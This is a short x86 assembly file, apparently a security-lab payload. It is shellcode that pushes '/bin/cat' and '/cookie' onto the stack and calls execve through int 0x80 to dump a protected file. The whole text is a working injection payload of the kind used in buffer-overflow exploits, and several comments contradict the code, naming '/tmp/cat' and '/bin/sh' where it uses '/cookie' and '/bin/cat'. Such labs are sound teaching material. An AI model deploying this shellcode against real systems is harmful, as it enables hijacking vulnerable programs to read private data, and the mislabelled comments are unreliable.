/*
 execve(char * filename, char ** argv, char ** envp);
 syscall 11 (0x0b) (in eax)
 Arguments in ebx, ecx, edx
*/

shellcode:
        // push "/cookie" onto the stack
        pushl $0x65696b  // "kie\0"
        pushl $0x6f6f632f  // "/coo"
        movl %esp, %edx  // edx <- pointer to /tmp/cat

        // Push "/bin/cat\0" onto the stack
        pushl $0  // "\0\0\0\0"
        pushl $0x7461632f  // "/cat"
        pushl $0x6e69622f  // "/bin"

        movl  %esp, %ebx  // %ebx <- <pointer to /bin/sh>

        xorl %ecx, %ecx  // %ecx <- 0
        pushl %ecx
        pushl %edx
        pushl %ebx
        movl  %esp, %ecx  // %ecx <- <pointer to argv>

        xorl %edx, %edx  // %edx <- NULL <envp>
        xorl %eax, %eax  // %eax <- 0
        addb $0x0b, %al  // %eax <- 0x0b (__NR_execve)

        int $0x80  // Do the syscall

